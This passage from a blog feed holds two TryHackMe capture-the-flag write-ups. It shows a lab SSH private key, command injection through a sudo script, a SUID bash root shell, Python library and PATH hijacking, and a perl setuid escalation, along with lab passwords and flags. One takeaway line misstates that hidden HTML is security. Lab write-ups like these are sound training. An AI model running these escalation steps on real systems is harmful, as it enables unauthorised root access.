#7n5VNH7cZBxOeB9S5dNx2zftB+CTPyJ177s+FPQ39PZvfSWIug1cOVxrGliqPVqh4S+V0v #JWLv38uVQGDnydKck4fCHYRVLgM37gvn49AXEOnjxYcRBelmjQkqStr/qsT8zFCC0Hc7a/ #FoVEU8bmjkDiMUNsSfs1gyjIsp8yf5c8JiOBIjio9f54f8OyPK5OowY2qgLpOcbpjsT58l #gBojNFzgUn4GlPngA3Ghn8EhdWtICPBv07SX23Ft94J8GQVYXN9LixvCaCksbQNSeMkWs4 #xKivIVPBVL6MLBhpbPra5MQWIHHlsCRVLnWIwatjW19oJSs+dr6hWXWwGtUtLKImmx4rsH #ftzf8oLErg4ToSiIODFh+lXiXEjCKwAAAAMBAAEAAAGAGQ9nG8u3ZbTTXZPV4tekwzoijb #esUW5UVqzUwbReU99WUjsG7V50VRqFUolh2hV1FvnHiLL7fQer5QAvGR0+QxkGLy/AjkHO #eXC1jA4JuR2S/Ay47kUXjHMr+C0Sc/WTY47YQghUlPLHoXKWHLq/PB2tenkWN0p0fRb85R #N1ftjJc+sMAWkJfwH+QqeBvHLp23YqJeCORxcNj3VG/4lnjrXRiyImRhUiBvRWek4o4Rxg #Q4MUvHDPxc2OKWaIIBbjTbErxACPU3fJSy4MfJ69dwpvePtieFsFQEoJopkEMn1Gkf1Hyi #U2lCuU7CZtIIjKLh90AT5eMVAntnGlK4H5UO1Vz9Z27ZsOy1Rt5svnhU6X6Pldn6iPgGBW #/vS5rOqadSFUnoBrE+Cnul2cyLWyKnV+FQHD6YnAU2SXa8dDDlp204qGAJZrOKukXGIdiz #82aDTaCV/RkdZ2YCb53IWyRw27EniWdO6NvMXG8pZQKwUI2B7wljdgm3ZB6fYNFUv5AAAA #wQC5Tzei2ZXPj5yN7EgrQk16vUivWP9p6S8KUxHVBvqdJDoQqr8IiPovs9EohFRA3M3h0q #z+zdN4wIKHMdAg0yaJUUj9WqSwj9ItqNtDxkXpXkfSSgXrfaLz3yXPZTTdvpah+WP5S8u6 #RuSnARrKjgkXT6bKyfGeIVnIpHjUf5/rrnb/QqHyE+AnWGDNQY9HH36gTyMEJZGV/zeBB7 #/ocepv6U5HWlqFB+SCcuhCfkegFif8M7O39K1UUkN6PWb4/IoAAADBAMuCxRbJE9A7sxzx #sQD/wqj5cQx+HJ82QXZBtwO9cTtxrL1g10DGDK01H+pmWDkuSTcKGOXeU8AzMoM9Jj0ODb #mPZgp7FnSJDPbeX6an/WzWWibc5DGCmM5VTIkrWdXuuyanEw8CMHUZCMYsltfbzeexKiur #4fu7GSqPx30NEVfArs2LEqW5Bs/bc/rbZ0UI7/ccfVvHV3qtuNv3ypX4BuQXCkMuDJoBfg #e9VbKXg7fLF28FxaYlXn25WmXpBHPPdwAAAMEAxtKShv88h0vmaeY0xpgqMN9rjPXvDs5S #2BRGRg22JACuTYdMFONgWo4on+ptEFPtLA3Ik0DnPqf9KGinc+j6jSYvBdHhvjZleOMMIH #8kUREDVyzgbpzIlJ5yyawaSjayM+BpYCAuIdI9FHyWAlersYc6ZofLGjbBc3Ay1IoPuOqX #b1wrZt/BTpIg+d+Fc5/W/k7/9abnt3OBQBf08EwDHcJhSo+4J4TFGIJdMFydxFFr7AyVY7 #CPFMeoYeUdghftAAAAE3A0aW50LXA0cnJvdEBwYXJyb3QBAgMEBQYH #-----END OPENSSH PRIVATE KEY----- 
</code></pre>
<pre><code class="language-plaintext">cat &gt; dale_rsa &lt;&lt; 'EOF'
&gt; -----BEGIN OPENSSH PRIVATE KEY-----
&gt; b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
&gt; NhAAAAAwEAAQAAAYEAng6KMTH3zm+6rqeQzn5HLBjgruB9k2rX/XdzCr6jvdFLJ+uH4ZVE
&gt; NUkbi5WUOdR4ock4dFjk03X1bDshaisAFRJJkgUq1+zNJ+p96ZIEKtm93aYy3+YggliN/W
&gt; oG+RPqP8P6/uflU0ftxkHE54H1Ll03HbN+0H4JM/InXvuz4U9Df09m99JYi6DVw5XGsaWK
&gt; o9WqHhL5XS8lYu/fy5VAYOfJ0pyTh8IdhFUuAzfuC+fj0BcQ6ePFhxEF6WaNCSpK2v+qxP
&gt; zMUILQdztr8WhURTxuaOQOIxQ2xJ+zWDKMiynzJ/lzwmI4EiOKj1/nh/w7I8rk6jBjaqAu
&gt; k5xumOxPnyWAGiM0XOBSfgaU+eADcaGfwSF1a0gI8G/TtJfbcW33gnwZBVhc30uLG8JoKS
&gt; xtA1J4yRazjEqK8hU8FUvowsGGls+trkxBYgceWwJFUudYjBq2NbX2glKz52vqFZdbAa1S
&gt; 0soiabHiuwd+3N/ygsSuDhOhKIg4MWH6VeJcSMIrAAAFkNt4pcTbeKXEAAAAB3NzaC1yc2
&gt; EAAAGBAJ4OijEx985vuq6nkM5+RywY4K7gfZNq1/13cwq+o73RSyfrh+GVRDVJG4uVlDnU
&gt; eKHJOHRY5NN19Ww7IWorABUSSZIFKtfszSfqfemSBCrZvd2mMt/mIIJYjf1qBvkT6j/D+v
&gt; 7n5VNH7cZBxOeB9S5dNx2zftB+CTPyJ177s+FPQ39PZvfSWIug1cOVxrGliqPVqh4S+V0v
&gt; JWLv38uVQGDnydKck4fCHYRVLgM37gvn49AXEOnjxYcRBelmjQkqStr/qsT8zFCC0Hc7a/
&gt; FoVEU8bmjkDiMUNsSfs1gyjIsp8yf5c8JiOBIjio9f54f8OyPK5OowY2qgLpOcbpjsT58l
&gt; gBojNFzgUn4GlPngA3Ghn8EhdWtICPBv07SX23Ft94J8GQVYXN9LixvCaCksbQNSeMkWs4
&gt; xKivIVPBVL6MLBhpbPra5MQWIHHlsCRVLnWIwatjW19oJSs+dr6hWXWwGtUtLKImmx4rsH
&gt; ftzf8oLErg4ToSiIODFh+lXiXEjCKwAAAAMBAAEAAAGAGQ9nG8u3ZbTTXZPV4tekwzoijb
&gt; esUW5UVqzUwbReU99WUjsG7V50VRqFUolh2hV1FvnHiLL7fQer5QAvGR0+QxkGLy/AjkHO
&gt; eXC1jA4JuR2S/Ay47kUXjHMr+C0Sc/WTY47YQghUlPLHoXKWHLq/PB2tenkWN0p0fRb85R
&gt; N1ftjJc+sMAWkJfwH+QqeBvHLp23YqJeCORxcNj3VG/4lnjrXRiyImRhUiBvRWek4o4Rxg
&gt; Q4MUvHDPxc2OKWaIIBbjTbErxACPU3fJSy4MfJ69dwpvePtieFsFQEoJopkEMn1Gkf1Hyi
&gt; U2lCuU7CZtIIjKLh90AT5eMVAntnGlK4H5UO1Vz9Z27ZsOy1Rt5svnhU6X6Pldn6iPgGBW
&gt; /vS5rOqadSFUnoBrE+Cnul2cyLWyKnV+FQHD6YnAU2SXa8dDDlp204qGAJZrOKukXGIdiz
&gt; 82aDTaCV/RkdZ2YCb53IWyRw27EniWdO6NvMXG8pZQKwUI2B7wljdgm3ZB6fYNFUv5AAAA
&gt; wQC5Tzei2ZXPj5yN7EgrQk16vUivWP9p6S8KUxHVBvqdJDoQqr8IiPovs9EohFRA3M3h0q
&gt; z+zdN4wIKHMdAg0yaJUUj9WqSwj9ItqNtDxkXpXkfSSgXrfaLz3yXPZTTdvpah+WP5S8u6
&gt; RuSnARrKjgkXT6bKyfGeIVnIpHjUf5/rrnb/QqHyE+AnWGDNQY9HH36gTyMEJZGV/zeBB7
&gt; /ocepv6U5HWlqFB+SCcuhCfkegFif8M7O39K1UUkN6PWb4/IoAAADBAMuCxRbJE9A7sxzx
&gt; sQD/wqj5cQx+HJ82QXZBtwO9cTtxrL1g10DGDK01H+pmWDkuSTcKGOXeU8AzMoM9Jj0ODb
&gt; mPZgp7FnSJDPbeX6an/WzWWibc5DGCmM5VTIkrWdXuuyanEw8CMHUZCMYsltfbzeexKiur
&gt; 4fu7GSqPx30NEVfArs2LEqW5Bs/bc/rbZ0UI7/ccfVvHV3qtuNv3ypX4BuQXCkMuDJoBfg
&gt; e9VbKXg7fLF28FxaYlXn25WmXpBHPPdwAAAMEAxtKShv88h0vmaeY0xpgqMN9rjPXvDs5S
&gt; 2BRGRg22JACuTYdMFONgWo4on+ptEFPtLA3Ik0DnPqf9KGinc+j6jSYvBdHhvjZleOMMIH
&gt; 8kUREDVyzgbpzIlJ5yyawaSjayM+BpYCAuIdI9FHyWAlersYc6ZofLGjbBc3Ay1IoPuOqX
&gt; b1wrZt/BTpIg+d+Fc5/W/k7/9abnt3OBQBf08EwDHcJhSo+4J4TFGIJdMFydxFFr7AyVY7
&gt; CPFMeoYeUdghftAAAAE3A0aW50LXA0cnJvdEBwYXJyb3QBAgMEBQYH
&gt; -----END OPENSSH PRIVATE KEY-----
&gt; EOF

chmod 600 dale_rsa

ssh -i dale_rsa dale@team.thm
</code></pre>
<p>We now have our user <code>dale</code> and can still access the flag through this way but we're now much more interested in finding a way to escalate privileges from user to root.</p>
<pre><code class="language-plaintext">dale@ip-10-130-180-195:~$ ls -la
total 44
drwxr-xr-x 6 dale dale 4096 Jan 15  2021 .
drwxr-xr-x 7 root root 4096 Jun  1  2025 ..
-rw------- 1 dale dale 2549 Jan 21  2021 .bash_history
-rw-r--r-- 1 dale dale  220 Jan 15  2021 .bash_logout
-rw-r--r-- 1 dale dale 3771 Jan 15  2021 .bashrc
drwx------ 2 dale dale 4096 Jan 15  2021 .cache
drwx------ 3 dale dale 4096 Jan 15  2021 .gnupg
drwxrwxr-x 3 dale dale 4096 Jan 15  2021 .local
-rw-r--r-- 1 dale dale  807 Jan 15  2021 .profile
drwx------ 2 dale dale 4096 Jan 15  2021 .ssh
-rw-r--r-- 1 dale dale    0 Jan 15  2021 .sudo_as_admin_successful
-rw-rw-r-- 1 dale dale   17 Jan 15  2021 user.txt
dale@ip-10-130-180-195:~$ sudo -l
Matching Defaults entries for dale on ip-10-130-180-195:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User dale may run the following commands on ip-10-130-180-195:
    (gyles) NOPASSWD: /home/gyles/admin_checks
</code></pre>
<p>checking the details on <code>admin_checks</code> inorder to understand how we'll get root access</p>
<pre><code class="language-plaintext">cat /home/gyles/admin_checks
#!/bin/bash

printf "Reading stats.\n"
sleep 1
printf "Reading stats..\n"
sleep 1
read -p "Enter name of person backing up the data: " name
echo $name  &gt;&gt; /var/stats/stats.txt
read -p "Enter 'date' to timestamp the file: " error
printf "The Date is "
$error 2&gt;/dev/null

date_save=$(date "+%F-%H-%M")
cp /var/stats/stats.txt /var/stats/stats-$date_save.bak

printf "Stats have been backed up\n"
</code></pre>
<p>Some trials find, but we kept trying with the help of Claude and some writeups:</p>
<pre><code class="language-plaintext">sudo -u gyles /home/gyles/admin_checks
Reading stats.
Reading stats..
Enter name of person backing up the data: date
Enter 'date' to timestamp the file: /bin/bash
The Date is id
uid=1001(gyles) gid=1001(gyles) groups=1001(gyles),108(lxd),1003(editors),1004(admin)
sudo -l
[sudo] password for gyles: 
Sorry, try again.
[sudo] password for gyles: 
wSorry, try again.
[sudo] password for gyles: 
whoami
gyles
id
uid=1001(gyles) gid=1001(gyles) groups=1001(gyles),108(lxd),1003(editors),1004(admin)
python3 -c 'import pty; pty.spawn("/bin/bash")'
</code></pre>
<pre><code class="language-plaintext">find / -group admin -writable 2&gt;/dev/null
/usr/local/bin
/usr/local/bin/main_backup.sh
/opt/admin_stuff



find / -group editors -writable 2&gt;/dev/null

/var/stats/stats.txt
/home/gyles/admin_checks
</code></pre>
<p>With the next command, we finally get our root access and flag</p>
<pre><code class="language-plaintext">cat /usr/local/bin/main_backup.sh
#!/bin/bash
cp -r /var/www/team.thm/* /var/backups/www/team.thm/
gyles@ip-10-130-180-195:/home/dale$ echo 'chmod +s /bin/bash' &gt;&gt; /usr/local/bin/main_backup.sh
gyles@ip-10-130-180-195:/home/dale$ ls -la /bin/bash
-rwsr-sr-x 1 root root 1183448 Apr 18  2022 /bin/bash
gyles@ip-10-130-180-195:/home/dale$ # Should show -rwsr-xr-x (s = SUID set)
gyles@ip-10-130-180-195:/home/dale$ /bin/bash -p
bash-5.0# # -p flag preserves the elevated privileges
bash-5.0# 
bash-5.0# whoami
root
bash-5.0# # root
bash-5.0# 
bash-5.0# cat /root/root.txt
THM{fhqbznavfonq}
bash-5.0# 
</code></pre>
]]></content:encoded></item><item><title><![CDATA[Wonderland (CTF Challenge - THM)]]></title><description><![CDATA[Intro:
Wonderland is a beginner-friendly CTF room on TryHackMe themed around Lewis Carroll's Alice in Wonderland. The challenge walks through a full attack chain — web enumeration, steganography hints]]></description><link>https://www.sharonjebitok.com/wonderland-ctf-challenge-thm</link><guid isPermaLink="true">https://www.sharonjebitok.com/wonderland-ctf-challenge-thm</guid><category><![CDATA[CTF Writeup]]></category><category><![CDATA[Privilege Escalation]]></category><category><![CDATA[tryhackme]]></category><category><![CDATA[reconnaissance ]]></category><category><![CDATA[ssh]]></category><dc:creator><![CDATA[Jebitok]]></dc:creator><pubDate>Sat, 28 Mar 2026 16:57:09 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/3b3c9487-f6f8-4779-8d71-9e58c0d1506b.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2>Intro:</h2>
<p>Wonderland is a beginner-friendly CTF room on TryHackMe themed around Lewis Carroll's <strong>Alice in Wonderland</strong>. The challenge walks through a full attack chain — web enumeration, steganography hints, SSH access, Python library hijacking, SUID binary exploitation via PATH manipulation, and Linux capabilities abuse — to escalate from an unprivileged web user all the way to root. Notably, the room reverses the expected flag locations: the user flag lives in <code>/root</code> and the root flag in <code>/home/alice</code>.</p>
<h2>Capture the flags</h2>
<p>Enter Wonderland and capture the flags.</p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5e86dbbd98fde62929a7e03b/room-content/5e86dbbd98fde62929a7e03b-1759494160945.png" alt="" style="display:block;margin:0 auto" />

<h2>Answer the questions below</h2>
<h3>Reconnaisance &amp; Enumeration</h3>
<pre><code class="language-plaintext">nmap -sV -p- IP_Address

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
</code></pre>
<pre><code class="language-plaintext">gobuster dir -u http://IP_Address -w /usr/share/wordlists/dirb/common.txt -x php,html,txt
===============================================================
/img                  (Status: 301) [Size: 0] [--&gt; img/]
/index.html           (Status: 301) [Size: 0] [--&gt; ./]
/index.html           (Status: 301) [Size: 0] [--&gt; ./]
/r                    (Status: 301) [Size: 0] [--&gt; r/]
</code></pre>
<pre><code class="language-plaintext">gobuster dir -u http://IP_Address/img -w /usr/share/wordlists/dirb/common.txt -x php,html,txt
===============================================================
/index.html           (Status: 301) [Size: 0] [--&gt; ./]
/index.html           (Status: 301) [Size: 0] [--&gt; ./]
</code></pre>
<pre><code class="language-plaintext">gobuster dir -u http://IP_Address/r -w /usr/share/wordlists/dirb/common.txt -x php,html,txt
===============================================================
/a                    (Status: 301) [Size: 0] [--&gt; a/]
/index.html           (Status: 301) [Size: 0] [--&gt; ./]
/index.html           (Status: 301) [Size: 0] [--&gt; ./]
</code></pre>
<pre><code class="language-plaintext">gobuster dir -u http://IP_Address/r/a -w /usr/share/wordlists/dirb/common.txt -x php,html,txt
===============================================================
/b                    (Status: 301) [Size: 0] [--&gt; b/]
/index.html           (Status: 301) [Size: 0] [--&gt; ./]
/index.html           (Status: 301) [Size: 0] [--&gt; ./]
</code></pre>
<p>noticed that the other paths would make up rabbit in full, i.e., <code>http://IP_Address/r/a/b/b/i/t</code></p>
<p><em>Details found in recon:</em></p>
<p>The <code>IP_Address/img</code> has images, and I’m wondering if we should use wget to download the images</p>
<ul>
<li><p><code>alice_door.jpg</code></p>
</li>
<li><p><code>alice_door.png</code></p>
</li>
<li><p><code>white_rabbit_1.jpg</code></p>
</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/72ba6271-8a21-4c3c-89be-fb1f86f01f8b.png" alt="" style="display:block;margin:0 auto" />

<p>the <code>IP_Address/r:</code></p>
<p>Keep Going.</p>
<p>"Would you tell me, please, which way I ought to go from here?"</p>
<p><code>IP_Address/r/a</code></p>
<p>Keep Going.</p>
<p>"That depends a good deal on where you want to get to," said the Cat.</p>
<p><code>IP_Address/r/a/b</code></p>
<p>Keep Going.</p>
<p>"I don’t much care where —" said Alice.</p>
<p><code>IP_Address/r/a/b/b</code></p>
<p>Keep Going.</p>
<p>"Then it doesn’t matter which way you go," said the Cat.</p>
<p><em>Image Analysis</em></p>
<pre><code class="language-plaintext">wget http://IP_Address/img/alice_door.jpg http://IP_Address/img/alice_door.png http://IP_Address/img/white_rabbit_1.jpg
</code></pre>
<pre><code class="language-plaintext">strings white_rabbit_1.jpg
strings alice_door.jpg
strings alice_door.png
</code></pre>
<pre><code class="language-plaintext">exiftool alice_door.png
ExifTool Version Number         : 11.88
File Name                       : alice_door.png
Directory                       : .
File Size                       : 1800 kB
File Modification Date/Time     : 2020:06:01 23:23:17+01:00
File Access Date/Time           : 2026:03:27 08:14:15+00:00
File Inode Change Date/Time     : 2026:03:27 08:13:28+00:00
File Permissions                : rw-r--r--
File Type                       : PNG
File Type Extension             : png
MIME Type                       : image/png
Image Width                     : 1962
Image Height                    : 1942
Bit Depth                       : 8
Color Type                      : RGB with Alpha
Compression                     : Deflate/Inflate
Filter                          : Adaptive
Interlace                       : Noninterlaced
SRGB Rendering                  : Perceptual
Gamma                           : 2.2
Pixels Per Unit X               : 23622
Pixels Per Unit Y               : 23622
Pixel Units                     : meters
Image Size                      : 1962x1942
Megapixels                      : 3.8

exiftool alice_door.jpg
ExifTool Version Number         : 11.88
File Name                       : alice_door.jpg
Directory                       : .
File Size                       : 1520 kB
File Modification Date/Time     : 2020:05:25 17:34:52+01:00
File Access Date/Time           : 2026:03:27 08:14:12+00:00
File Inode Change Date/Time     : 2026:03:27 08:13:28+00:00
File Permissions                : rw-r--r--
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.02
Exif Byte Order                 : Big-endian (Motorola, MM)
Orientation                     : Horizontal (normal)
X Resolution                    : 600
Y Resolution                    : 600
Resolution Unit                 : inches
Software                        : Adobe Photoshop CS3 Macintosh
Modify Date                     : 2008:01:20 01:49:10
Color Space                     : Uncalibrated
Exif Image Width                : 1962
Exif Image Height               : 1942
Compression                     : JPEG (old-style)
Thumbnail Offset                : 332
Thumbnail Length                : 12311
Current IPTC Digest             : 460cf28926b856dab09c01a1b0a79077
Application Record Version      : 2
IPTC Digest                     : 460cf28926b856dab09c01a1b0a79077
Displayed Units X               : inches
Displayed Units Y               : inches
Print Style                     : Centered
Print Position                  : 0 0
Print Scale                     : 1
Global Angle                    : 30
Global Altitude                 : 30
Copyright Flag                  : False
URL List                        : 
Slices Group Name               : De_Alice's_Abenteuer_im_Wunderland_Carroll_pic_03
Num Slices                      : 1
Pixel Aspect Ratio              : 1
Photoshop Thumbnail             : (Binary data 12311 bytes, use -b option to extract)
Has Real Merged Data            : Yes
Writer Name                     : Adobe Photoshop
Reader Name                     : Adobe Photoshop CS3
Photoshop Quality               : 12
Photoshop Format                : Progressive
Progressive Scans               : 3 Scans
XMP Toolkit                     : Adobe XMP Core 4.1-c036 46.276720, Mon Feb 19 2007 22:13:43
Create Date                     : 2008:01:20 01:47:53-05:00
Metadata Date                   : 2008:01:20 01:49:10-05:00
Creator Tool                    : Adobe Photoshop CS3 Macintosh
Format                          : image/jpeg
Color Mode                      : RGB
History                         : 
Instance ID                     : uuid:436B87178CC8DC11A35E97C268772518
Native Digest                   : 256,257,258,259,262,274,277,284,530,531,282,283,296,301,318,319,529,532,306,270,271,272,305,315,33432;75A2F56A7448AE47A140395308BA4302
DCT Encode Version              : 100
APP14 Flags 0                   : [14]
APP14 Flags 1                   : (none)
Color Transform                 : YCbCr
Image Width                     : 1962
Image Height                    : 1942
Encoding Process                : Progressive DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:4:4 (1 1)
Image Size                      : 1962x1942
Megapixels                      : 3.8
Thumbnail Image                 : (Binary data 12311 bytes, use -b option to extract)
</code></pre>
<h3>Obtain the flag in user.txt</h3>
<p>Remember the path we found above, checking the site or even running <code>curl http://IP_Address/r/a/b/b/i/t/</code>, we find the SSH user and their password</p>
<pre><code class="language-plaintext">curl http://IP_Address/r/a/b/b/i/t/
&lt;!DOCTYPE html&gt;

&lt;head&gt;
    &lt;title&gt;Enter wonderland&lt;/title&gt;
    &lt;link rel="stylesheet" type="text/css" href="/main.css"&gt;
&lt;/head&gt;

&lt;body&gt;
    &lt;h1&gt;Open the door and enter wonderland&lt;/h1&gt;
    &lt;p&gt;"Oh, you\u2019re sure to do that," said the Cat, "if you only walk long enough."&lt;/p&gt;
    &lt;p&gt;Alice felt that this could not be denied, so she tried another question. "What sort of people live about here?"
    &lt;/p&gt;
    &lt;p&gt;"In that direction,"" the Cat said, waving its right paw round, "lives a Hatter: and in that direction," waving
        the other paw, "lives a March Hare. Visit either you like: they\u2019re both mad."&lt;/p&gt;
    &lt;p style="display: none;"&gt;alice:HowDothTheLittleCrocodileImproveHisShiningTail&lt;/p&gt;
    &lt;img src="/img/alice_door.png" style="height: 50rem;"&gt;
&lt;/body&gt;
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/8358f05b-187b-41a5-ba60-ce29baf915e6.png" alt="" style="display:block;margin:0 auto" />

<p><code>wget http://IP_Address/img/white_rabbit_1.jpg</code></p>
<pre><code class="language-plaintext">ssh alice@IP_Address

ls -la
total 40
drwxr-xr-x 5 alice alice 4096 May 25  2020 .
drwxr-xr-x 6 root  root  4096 May 25  2020 ..
lrwxrwxrwx 1 root  root     9 May 25  2020 .bash_history -&gt; /dev/null
-rw-r--r-- 1 alice alice  220 May 25  2020 .bash_logout
-rw-r--r-- 1 alice alice 3771 May 25  2020 .bashrc
drwx------ 2 alice alice 4096 May 25  2020 .cache
drwx------ 3 alice alice 4096 May 25  2020 .gnupg
drwxrwxr-x 3 alice alice 4096 May 25  2020 .local
-rw-r--r-- 1 alice alice  807 May 25  2020 .profile
-rw------- 1 root  root    66 May 25  2020 root.txt
-rw-r--r-- 1 root  root  3577 May 25  2020 walrus_and_the_carpenter.py
alice@wonderland:~$ cat root.txt
cat: root.txt: Permission denied
alice@wonderland:~$ python3 walrus_and_the_carpenter.py
The line was:	 And shook his heavy head \u2014
The line was:	 Before his streaming eyes.
The line was:	 Of cabbages \u2014 and kings \u2014
The line was:	 "I deeply sympathize."
The line was:	 To give a hand to each."
The line was:	 And scrambling to the shore.
The line was:	 The eldest Oyster looked at him.
The line was:	 Are very good indeed \u2014
The line was:	 There were no birds to fly.
The line was:	 "A pleasant walk, a pleasant talk,
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/8bf41202-eb45-4537-ad0f-7d39ae51a279.png" alt="" style="display:block;margin:0 auto" />

<p>full details of the Python file</p>
<pre><code class="language-plaintext">cat walrus_and_the_carpenter.py
import random
poem = """The sun was shining on the sea,
Shining with all his might:
He did his very best to make
The billows smooth and bright \u2014
And this was odd, because it was
The middle of the night.

The moon was shining sulkily,
Because she thought the sun
Had got no business to be there
After the day was done \u2014
"It\u2019s very rude of him," she said,
"To come and spoil the fun!"

The sea was wet as wet could be,
The sands were dry as dry.
You could not see a cloud, because
No cloud was in the sky:
No birds were flying over head \u2014
There were no birds to fly.

The Walrus and the Carpenter
Were walking close at hand;
They wept like anything to see
Such quantities of sand:
"If this were only cleared away,"
They said, "it would be grand!"

"If seven maids with seven mops
Swept it for half a year,
Do you suppose," the Walrus said,
"That they could get it clear?"
"I doubt it," said the Carpenter,
And shed a bitter tear.

"O Oysters, come and walk with us!"
The Walrus did beseech.
"A pleasant walk, a pleasant talk,
Along the briny beach:
We cannot do with more than four,
To give a hand to each."

The eldest Oyster looked at him.
But never a word he said:
The eldest Oyster winked his eye,
And shook his heavy head \u2014
Meaning to say he did not choose
To leave the oyster-bed.

But four young oysters hurried up,
All eager for the treat:
Their coats were brushed, their faces washed,
Their shoes were clean and neat \u2014
And this was odd, because, you know,
They hadn\u2019t any feet.

Four other Oysters followed them,
And yet another four;
And thick and fast they came at last,
And more, and more, and more \u2014
All hopping through the frothy waves,
And scrambling to the shore.

The Walrus and the Carpenter
Walked on a mile or so,
And then they rested on a rock
Conveniently low:
And all the little Oysters stood
And waited in a row.

"The time has come," the Walrus said,
"To talk of many things:
Of shoes \u2014 and ships \u2014 and sealing-wax \u2014
Of cabbages \u2014 and kings \u2014
And why the sea is boiling hot \u2014
And whether pigs have wings."

"But wait a bit," the Oysters cried,
"Before we have our chat;
For some of us are out of breath,
And all of us are fat!"
"No hurry!" said the Carpenter.
They thanked him much for that.

"A loaf of bread," the Walrus said,
"Is what we chiefly need:
Pepper and vinegar besides
Are very good indeed \u2014
Now if you\u2019re ready Oysters dear,
We can begin to feed."

"But not on us!" the Oysters cried,
Turning a little blue,
"After such kindness, that would be
A dismal thing to do!"
"The night is fine," the Walrus said
"Do you admire the view?

"It was so kind of you to come!
And you are very nice!"
The Carpenter said nothing but
"Cut us another slice:
I wish you were not quite so deaf \u2014
I\u2019ve had to ask you twice!"

"It seems a shame," the Walrus said,
"To play them such a trick,
After we\u2019ve brought them out so far,
And made them trot so quick!"
The Carpenter said nothing but
"The butter\u2019s spread too thick!"

"I weep for you," the Walrus said.
"I deeply sympathize."
With sobs and tears he sorted out
Those of the largest size.
Holding his pocket handkerchief
Before his streaming eyes.

"O Oysters," said the Carpenter.
"You\u2019ve had a pleasant run!
Shall we be trotting home again?"
But answer came there none \u2014
And that was scarcely odd, because
They\u2019d eaten every one."""

for i in range(10):
    line = random.choice(poem.split("\n"))
    print("The line was:\t", line)
</code></pre>
<pre><code class="language-plaintext">cat &gt; /home/alice/random.py &lt;&lt; 'EOF'
import os
import pty
pty.spawn("/bin/bash")
EOF
</code></pre>
<pre><code class="language-plaintext">sudo -u rabbit /usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py
</code></pre>
<pre><code class="language-plaintext">/bin/echo -n 'Probably by ' &amp;&amp; date --date='next 
Probably by Fri, 27 Mar 2026 10:40:45 +0000
rabbit@wonderland:/home/rabbit$ ls -la /home/rabbit/teaParty
-rwsr-sr-x 1 root root 16816 May 25  2020 /home/rabbit/teaParty
rabbit@wonderland:/home/rabbit$ cd /home/rabbit
rabbit@wonderland:/home/rabbit$ 
rabbit@wonderland:/home/rabbit$ echo '/bin/bash' &gt; date
rabbit@wonderland:/home/rabbit$ chmod +x date
rabbit@wonderland:/home/rabbit\( export PATH=/home/rabbit:\)PATH
rabbit@wonderland:/home/rabbit$ 
rabbit@wonderland:/home/rabbit$ ./teaParty
Welcome to the tea party!
The Mad Hatter will be here soon.
Probably by hatter@wonderland:/home/rabbit$ ls -la
total 44
drwxr-x--- 2 rabbit rabbit  4096 Mar 27 09:41 .
drwxr-xr-x 6 root   root    4096 May 25  2020 ..
lrwxrwxrwx 1 root   root       9 May 25  2020 .bash_history -&gt; /dev/null
-rw-r--r-- 1 rabbit rabbit   220 May 25  2020 .bash_logout
-rw-r--r-- 1 rabbit rabbit  3771 May 25  2020 .bashrc
-rw-r--r-- 1 rabbit rabbit   807 May 25  2020 .profile
-rwxr-xr-x 1 rabbit rabbit    10 Mar 27 09:41 date
-rwsr-sr-x 1 root   root   16816 May 25  2020 teaParty
</code></pre>
<p>It reveals the password of <code>hatter</code> in an effort to escalate privileges to root eventually</p>
<pre><code class="language-plaintext">cd /home/hatter
cat password.txt
WhyIsARavenLikeAWritingDesk?
</code></pre>
<p>We finally have our user flag:</p>
<pre><code class="language-plaintext">perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'


# user flag (it's in /root - this room reverses the flag locations)
cat /root/user.txt

thm{"Curiouser and curiouser!"}
</code></pre>
<h3>Escalate your privileges, what is the flag in root.txt?</h3>
<p>The root flag is in this path:</p>
<pre><code class="language-plaintext"># root flag (it's in alice's home)
cat /home/alice/root.txt
</code></pre>
<pre><code class="language-plaintext">whoami
hatter
hatter@wonderland:/home/hatter$ id
uid=1003(hatter) gid=1002(rabbit) groups=1002(rabbit)
SIX::setuid(0); exec "/bin/bash";'sr/bin/perl5.26.1 -e 'use POSIX qw(setuid); POS
bash: /usr/bin/perl5.26.1: Permission denied
</code></pre>
<pre><code class="language-plaintext">sudo -l
[sudo] password for hatter: 
Sorry, user hatter may not run sudo on wonderland.
(0); exec "/bin/bash";'sr/bin/perl5.26.1 -e 'use POSIX qw(setuid); POSIX::setuid(
root@wonderland:~# find / -type f -name root.txt 2&gt;/dev/null
/home/alice/root.txt
root@wonderland:~# cat /home/alice/root.txt
thm{Twinkle, twinkle, little bat! How I wonder what you're at!}
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/bf178bf6-3df7-4f02-a289-f0a20b54ad80.png" alt="" style="display:block;margin:0 auto" />


<h2>Conclusion:</h2>
<h3>Key Takeaways:</h3>
<ul>
<li>Follow the theme — the <code>/r/a/b/b/i/t</code> path was hidden in plain sight; the Alice in Wonderland theme was a direct hint at what word to spell out</li>
<li>Hidden HTML elements leak credentials — display: none is security; always curl and read raw source</li>
<li>Python library hijacking — when a script uses <code>import random</code> without an absolute path, and you control the working directory, you can drop a malicious <code>random.py</code> to hijack execution</li>
